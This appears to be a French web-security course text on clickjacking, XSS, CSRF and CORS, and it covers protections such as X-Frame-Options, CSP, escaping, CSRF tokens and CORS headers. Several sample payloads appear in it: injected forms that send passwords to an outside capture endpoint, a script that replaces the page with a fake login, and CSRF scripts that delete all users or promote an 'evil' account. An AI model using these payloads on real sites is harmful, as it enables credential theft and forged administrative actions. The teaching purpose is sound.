Les attaques basées sur des croisements de domaines
Objectifs de l’attaquant :
- Un utilisateur connecté sur un site légitime envoie des données à un site attaquant
- Un site attaquant force un utilisateur à faire une opération non souhaité sur le site légitime
Le clickjacking
Vous avez Gagné
Vous avez Gagné, regardez mieux
Les <iframe>
- Principe légitime à la base : afficher une page web sur une autre page web
- Comportements détournés
- Clickjacking = on cache une iframe par dessus un bouton aparemment légitime
<iframe style="opacity: 0" src="https://le-site-des-admins">
XFS Cross Frame Scripting : principe général d’attaque consistant à injecter le site légitime sur le site du pirate via un iframe
Attaque INDIRECTE
=> Protection PASSIVE
- on va dire au navigateur que le site n’a aucune raison légitime d’être dans une iframe
- Des entêtes standards existent :
X-Frame-Options:<DENY|SAMEORIGIN|ALLOW-FROM https://example.com/>;- On filtre donc les origines qui ont le droit d’afficher l’iframe
- /!\ Absence d’entête = autorisé de n’importe quel source
L’injection de code… côté client !
École municipale de Kelkepare
Inscription d’un nouvel élève
Prénom :
Et si j’écrit dans le formulaire :
<form action="https://securite-applicative.free.beeceptor.com" >Entrez votre mot de passe : <input type="password" name="password" /><button type="submit" formtarget="_blank">Me connecter</button></form>
Que se passe-t-il ici ? : https://beeceptor.com/console/securite-applicative
Déclinable à souhait…
<button onclick="window.location='https://securite-applicative.free.beeceptor.com'" >Continuer</button>
On peut ainsi forcer un utilisateur a provoquer ces modifications du DOM ou tout autre action
- En le redirigeant sur la page avec des paramètres de requete trafiqués
- En stockant en base un code qui va être réaffiché
On peut ainsi rajouter ce genre de code sur la page de l’utilisateur
<script>document.location="https://no.domain"</script>
<script>
document.getElementsByTagName("body")[0].innerHTML("
<form action='https://no.domain' >
<br>Connectez vous !<br>
<input type='text' name='email'>
<input type='password' name='mot de passe'>
<input type='submit' value='Connexion'>
</form>
")
</script>
On parle de XSS (Cross-Site Scripting)
Pourquoi ?
- Vol de données, en particulier des cookies de session (explications)
- Redirection malveillante
Comment ?
- Consiste à injecter du code et en particulier des script dans une page web (donc éxécuté par l’utilisateur dans son navigateur)
- L’attaquant fournit une requête vers un site légitime mais dont le contenu injecte le code
- L’attaquant peut aussi profiter d’une non validation des données persistantes (BDD)
Plusieurs types de XSS
- Injection “en direct” par le serveur, on parle de reflected XSS
- On l’appelle DOM XSS, si elle consiste à modifier le DOM via un script
- Pire, XSS Stored : le pirate arrive à écrire ce code dans une base de données ou dans un fichier local. Il n’a même plus besoin de fournir un lien trafiqué à l’utilisateur.
Attaque INDIRECTE => Protection PASSIVE .. et un peu ACTIVE
Sécurité active :
- Vérifier les entrées utilisateurs !
- Echapper caractères spéciaux HTML (utiliser au maximum les sécurités internes des framework, sinon des fonctions existent déjà dans les principaux langages, par exemple
${fn:escapeXml(string)}dans une EL en JSP) - Certains framework récent échappe par défaut, par exemple les template thymeleaf avec l’injection de variable
th:textéchappent les caracteres spéciaux html, il faut expliciter si vraiment on ne veut pas echapper…th:utext
Sécurité passive :
- Résumé des headers
- Content Security Policy (CSP) Prez Spec
- (deprecated) X-XSS-Protection -> Ne plus utiliser
Compléments pour la protection des cookies
- Forcer les cookies à être “secure” (utilisable en https uniquement), “httpOnly” (non utilisable dans les scripts)
- Précision : il s’agit de sécurité déclarative dont la mise en oeuvre est à la charge du navigateur
Les attaques CSRF
Si on combine les failles précédentes :
- Une inteface grand public qui permet de stocker librement du texte non vérifié (disons une interface “contacter l’admin”)
- Une interface admin qui affiche des messages sans controle
- Un autre site de gestion ou l’admin est préalablement connecté (ou auquel la connexion SSO est invisible)
École municipale de Kelkepare
Envoyez un message à l’admin
Votre message :
(https://admin-message.kelkepare.com)
Interface Admin
Vos messages :
(https://admin-base.kelkepare.com)
Interface admin bis
Si on envoie le message suivant ?
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://admin-base.kelkepare.com/cible-du-form', false);
resquest.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------395028195436618018493550684239");
request.send("-----------------------------395028195436618018493550684239\n"+
"Content-Disposition: form-data; name='action'\n"+
"\n"+
"supprimer\n"+
"-----------------------------395028195436618018493550684239\n"+
"Content-Disposition: form-data; name='quoi'\n"+
"\n"+
"allUsers\n"+
"-----------------------------395028195436618018493550684239--"
);
</script>
Security Nightmare
Et si on postait sur le forum ?
<script>
var request = new XMLHttpRequest();
request.open('POST', 'http://localhost:8080/admin/promote/evil', false);
request.send();
</script>
Le script va simuler un clic dans le formulaire avec les options que j’ai choisi. L’admin étant connecté préalablement, le clic va bien être éxécuté en tant que lui-même (le navigateur va légitimement envoyer le cookie de session, on est sur le bon domaine, en https, etc)
On parle d’une attaque de type CSRF ou Cross-Site Request Forgery
scénario : Le pirate souhaite effectuer une opération en votre nom. Pour cela il vous fait cliquer sur un lien ou un formulaire qui pointe vers un formulaire du site cible. Si vous êtes authentifié sur le cible cible, l’action s’effectue en votre nom. La vulnérabilité existe sur les authentifications basées sur des cookies ou sur des authentifications sso.
On ne cherche pas à empécher une acton malveillante en soi
On cherche à empécher un utilisateur de faire une opération légitime mais forcée par le pirate. On veut s’assurer que l’utilisateur réalise son opération en pleine conscience.
Protections :
Vérifier les entrées utilisateurs ?
Ici, l’action à bloquer est légitime…
Faire en sorte qu’à chaque appel d’un vrai formulaire du site, un jeton à usage unique soit ajouté. Le serveur pourra ainsi s’assurer de la cohérence de la requête
Des bibliothèques peuvent aider à cette protection : Spring security, pac4j
Il faut alors ajouter dans chaque formulaire le jeton en hidden
<form action="/cible-du-form"
method="post">
<select><option>ajouter</option><option>supprimer</option></select>
<select><option>eleve</option><option>allUsers</option></select>
<input type="hidden"
name="${_csrf.parameterName}"
value="${_csrf.token}"/>
<button type="submit">Je sais ce que je fais</button>
</form>
- Dans les version récentes de Spring, avec la configuration par défaut, l’input hidden est rajouté automatiquement sur chaque champ hidden (fonctionne au moins avec le langage de templating thymeleaf)
- Principe : tout POST ne contenant pas ce paramètre se soldera par une 403
- Potentiellement pas nécessaire sur tout le site
- Pour lever la protection en spring security (en Spring 6):
http.csrf(csrf -> csrf.ignoringRequestMatchers(...)); // l'ignorer sur certaines url
http.csrf(csrf -> csrf.disable()); // l'ignorer complètement -> Web Service
CSRF et application stateless
Security Nightmare
La protection précédente fonctionne dans un mode STATEFUL, c’est à dire que l’algorithmique impose le maintien d’une session, dans laquelle on peut stocker des élements d’état permettant de suivre le déroulé logiques des actions de l’utilisateur.
Les architectures proposent cenpendant de plus en plus des situation STATELESS, typiquement l’application javascript et son api sont stateless. On peut introduire un peu de stateful dans le cadre de l’appli js en local dans le navigateur, c’est plutôt proscrit côté API.
Le formulaire est côté JS, la protection précédente n’a plus aucun sens puisque l’api ne peux pas gérer de contrôle d’état.
Si on essaie de reproduire l’attaque précédente, on va écrire un script malveillant qui attaque directement l’API. Dans le cadre d’attaque cherchant à usurper un individu priviléié, à noter qu’il n’est pas censé y avoir de gestion de cookie, donc cela implique d’avoir récupéré un jeton authentifiant de l’utilisateur
Cependant ce scénario d’attaque sert aussi à récupérer une info disponible sur un réseau interne sans authentification par exemple
Pour contrer cette attaque, on va plutôt s’interesser à la source du script.
La protection CORS
CORS = Cross Over Resource Sharing
Même si l’éxécution du script se passe côté navigateur, on peut quand même contrôler la source du script éxécuté.
Les navigateurs envoient un entête Origincontenant l’exact domaine source du script qui éxécute la requête HTTP.
Les navigateurs envoient systématiquement et automatiquement l’entête Origin (à moins d’utiliser Netscape 8 ou IE 6)
Le navigateur n’autorise pas la modification de cet entete par script
Au sens CORS, une source est
un protocole
un nom de domaine
un port
http://localhost:8080 n’est pas le même domaine que https://localhost:8443 et le domaine https://localhost (sous entendu port 443) est encore différent
Comment réagit app-interne ?
Cas 1 : les devs de app-interne ne savent pas ce qu’est CORS
- Aucun controle de l’en-tete
- si un traitement est fait en amont de renvoyer donnée-sensible, il est effectué
- Le site renvoie donnée-sensible
Le navigateur lit la réponse AVANT de la fournir au script PAS d’entete CORS => le navigateur bloque la réponse
- ouf…
=> Par défaut la protection CORS est bloquante
- Petit problème, et si le traitement pré-envoi donnée-sensible n’est pas idempotent ? L’action est quand même réalisée
Les navigateurs ont ajoutés un “pre-flight” sur les requêtes éxécutées par script. D’après la spec, le pre-flight n’est réalisé pour toute requête sauf GET et POST “complexe”. En pratique les navigateurs ont tendance à le systématiser. La logique initiale étant qu’une action non idempotente n’est pas censée être implémentée sur un GET.
Le navigateur va envoyer d’abord un “OPTION” sur la requête demandée et controler la réponse => on bloque en amont l’éventuel traitement.
Cas 2 : Les devs ont pris en compte le besoin d’être appelé depuis un script
Cas d’une requete illégitime
Remarque : Dans le cas de blocage, le navigateur répond au script comme un échec de connexion (il ne précise pas que c’est un problème de CORS) Le script ne fait pas la difference entre un echec de connexion et une erreur cors On peut cependant voir l’erreur loggée
Cas d’une requête légitime
Cas ou ça doit marcher mais on a eu la flemme
Gestion des erreurs :
- Pour debugger, la console du navigateur vous prévient que la réponse a été bloquée
Test :
<script>
var testCors = function () {
var req = new XMLHttpRequest()
req.open('GET', 'https://insee.fr/fr/accueil', false);
req.send();
}
<script>
<button onClick="testCors();">Test CORS KO</button>
Attention à l’autorisation globale (elle peut parfois être nécessaire cependant) :
Access-Control-Allow-Origin: *L’idéal est de controler côté serveur l’entete “Origin” et de personnaliser l’entete “Access-Control-Allow-Origin” si on accepte
Le détails complet de CORS ici : https://developer.mozilla.org/fr/docs/Web/HTTP/CORS
Il faut garder à l’esprit que CORS est une sécurité côté client pour l’empécher de faire n’importe quoi malgré lui : fournir à un script une information que le serveur n’a pas prévu d’être utilisée par un script.